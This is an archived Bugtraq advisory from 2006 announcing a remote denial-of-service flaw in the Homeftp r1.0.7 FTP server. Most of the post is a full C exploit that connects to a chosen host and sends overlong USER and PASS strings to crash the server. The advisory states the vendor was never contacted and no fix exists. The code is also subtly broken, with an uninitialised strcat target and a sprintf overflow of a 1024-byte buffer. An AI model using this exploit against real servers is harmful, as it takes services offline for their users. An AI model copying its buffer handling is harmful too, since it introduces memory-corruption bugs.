[42234] in bugtraq
Homeftp r1.0.7 Denial of Service
daemon@ATHENA.MIT.EDU (cvh@securityfocus.com,a@securityfo)
Mon Jan 16 18:06:01 2006
Date: 15 Jan 2006 18:47:55 -0000
Message-ID: <20060115184755.27417.qmail@securityfocus.com>
Content-Type: text/plain
Content-Disposition: inline
Content-Transfer-Encoding: binary
MIME-Version: 1.0
From: cvh@securityfocus.com, a@securityfocus.com, kapda.ir@securityfocus.com
To: bugtraq@securityfocus.com
Homeftp r1.0.7 Denial of Service
Denial of Service(DoS)
-------
KAPDA New advisory
Vulnerable products : homeftp r1.0.7
Vendor: http://downstairs.dnsalias.net/
Risk: High
Vulnerabilities: Denial of service of complete PC
Date :
--------------------
Found : Aug 2005
Vendor Contacted : Not Contacted
Release Date : Jan 14 2006
Vulnerability:
--------------------
Denial of service:
A denial-of-service attack (also, DoS attack) is an attack on a computer system or network that causes a loss of service to users, typically the loss of network connectivity and services by consuming the bandwidth of the victim network or overloading the computational resources of the victim system.
Exploit:
--------------------
homeftp_107_remote_dos_xpl.c
CODE
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>
#define POCSTR "USER %s\x0d\x0aPASS %s\x0d\x0a"
int header();
int usage(char *filename);
int remote_connect( char* ip, unsigned short port );
int header() {
printf("\n[i] KAPDA - Computer Security Science Researchers Institute\n\n");
printf("[i] Title: \tHome Ftp <= r1.0.7 Dos Exploit\n");
printf("[i] Discovered by: \tcvh {a] kapda.ir\n");
printf("[i] Exploit by: \tPi3cH {a] kapda.ir\n");
printf("[i] More info: \twww.kapda.ir/page-advisory.html\n\n");
return 0;
}
int usage(char *filename) {
printf("[i] Usage: \t%s HOST PORT\n",filename);
printf("[i] Example: \t%s 127.0.0.1 21\n\n",filename);
exit(0);
}
int remote_connect( char* ip, unsigned short port )
{
int s;
struct sockaddr_in remote_addr;
struct hostent* host_addr;
memset ( &remote_addr, 0x0, sizeof ( remote_addr ) );
if ( ( host_addr = gethostbyname ( ip ) ) == NULL )
{
printf ( "[e] Cannot resolve \"%s\"\n", ip );
exit ( 1 );
}
remote_addr.sin_family = AF_INET;
remote_addr.sin_port = htons ( port );
remote_addr.sin_addr = * ( ( struct in_addr * ) host_addr->h_addr );
if ( ( s = socket ( AF_INET, SOCK_STREAM, 0 ) ) < 0 )
{
printf ( "[e] Socket failed!\n" );
exit(1);
}
if ( connect ( s, ( struct sockaddr * ) &remote_addr, sizeof ( struct sockaddr ) ) == -1 )
{
printf ( "[e] Failed connecting!\n" );
exit(1);
}
return ( s );
}
int main(int argc, char *argv[]) {
int s,i;
char *request;
char junk_data[2011];
header();
if( (argc < 2) )
usage(argv[0]);
request = (char *) malloc(1024);
printf("[r] Connecting to remote host\n");
s = remote_connect(argv[1],atoi(argv[2]));
sleep(1);
printf("[r] Creating buffer\n");
for(i=0;i<2011;i++)
strcat(junk_data,"\x41");
sprintf(request,POCSTR,junk_data,junk_data);
printf("[r] Sending %d bytes of DOS buffer\n",strlen(request));
if ( send ( s, request, strlen (request), 0) <= 0 )
{
printf("[e] Failed to send buffer\n");
close(s);
exit(1);
}
sleep(1);
printf("[s] Exploit Done!\n");
close(s);
free(request);
request = NULL;
return 0;
}
Solution:
--------------------
No patch or fix exits.
Credit :
--------------------
Discoverd by cvh [at} kapda.ir
Exploit by pi3ch [at} kapda.ir
Grtz to all members of KAPDA and GSO.
KAPDA - Computer Security Science Researchers Institute
http://www.KAPDA.ir
